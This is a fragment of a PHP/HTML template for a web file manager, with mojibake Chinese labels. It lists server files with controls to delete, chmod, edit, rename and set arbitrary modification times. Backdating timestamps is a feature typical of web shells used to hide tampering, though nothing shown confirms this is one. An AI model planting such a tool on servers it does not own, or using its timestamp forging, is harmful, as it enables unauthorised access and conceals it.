<button type="submit" name="batch_delete" value="1" class="btn-batch-delete" onclick="return validateBatchDelete()">ðŸ—‘ï¸ æ‰¹é‡åˆ 除</button>
<label class="select-all">
<input type="checkbox" onclick="toggleSelectAll(this)"> 全选/å选
</label>
</form>
</div>
<div style="overflow-x: auto;">
<form method="post" id="mainForm">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<table>
<thead>
<tr>
<th style="width: 30px;"><input type="checkbox" onclick="toggleSelectAll(this)"></th>
<th>åç§°</th>
<th>类型</th>
<th>大å°</th>
<th>æƒé™</th>
<th>修改时间</th>
<th>状æ€</th>
<th>æ“作</th>
</tr>
</thead>
<tbody>
<?php if (count($items) === 0): ?>
<tr><td colspan="8" style="text-align: center;">📂 æ¤ç›®å½•为空</td></tr>
<?php endif; ?>
<?php foreach ($items as $item): ?>
<tr>
<td style="text-align: center;">
<input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($item['path']); ?>">
</td>
<td>
<?php if ($item['is_dir']): ?>
<a href="?path=<?php echo urlencode($item['path']); ?>" class="dir-name">
📠<?php echo htmlspecialchars($item['name']); ?>
</a>
<?php else: ?>
<span class="file-name">📄 <?php echo htmlspecialchars($item['name']); ?></span>
<?php endif; ?>
</td>
<td><?php echo $item['is_dir'] ? '📂 目录' : '📄 文件'; ?></td>
<td><?php echo formatSize($item['size']); ?></td>
<td>
<span class="current-perm"><?php echo permToString($item['perms']); ?></span>
(<?php echo substr(sprintf('%o', $item['perms']), -4); ?>)
</td>
<td><?php echo date('Y-m-d H:i:s', $item['mtime']); ?></td>
<td>
<span class="status-badge <?php echo $item['is_writable'] ? 'writable' : 'readonly'; ?>"></span>
<?php echo $item['is_writable'] ? 'å¯å†™' : 'åªè¯»'; ?>
</td>
<td class="actions">
<form method="post" style="display:inline-block;">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<input type="text" name="permissions" value="<?php echo substr(sprintf('%o', $item['perms']), -4); ?>" size="5" style="width: 50px;">
<button type="submit" name="chmod" class="btn-chmod">æƒé™</button>
</form>
<form method="post" style="display:inline-block;">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<input type="text" name="mtime" value="<?php echo date('Y-m-d H:i:s', $item['mtime']); ?>" size="16" style="width: 130px;">
<button type="submit" name="touch" class="btn-touch">æ—¶é—´</button>
</form>
<?php if (!$item['is_dir']): ?>
<a href="?edit=<?php echo urlencode($item['path']); ?>&path=<?php echo urlencode($current_path); ?>">
<button type="button" class="btn-edit">编辑</button>
</a>
<?php endif; ?>
<button type="button" class="btn-rename" onclick="renameItem('<?php echo addslashes($item['path']); ?>','<?php echo addslashes($item['name']); ?>');">é‡å‘½å</button>
<form method="post" style="display:inline-block;" onsubmit="return confirm('确定è¦åˆ 除 <?php echo htmlspecialchars($item['name']); ?> å—?');">
<input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>">
<input type="hidden" name="current_path" value="<?php echo htmlspecialchars($current_path); ?>">
<button type="submit" name="delete" class="btn-delete">åˆ é™¤</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</form>
</div>
</div>
</body>
</html>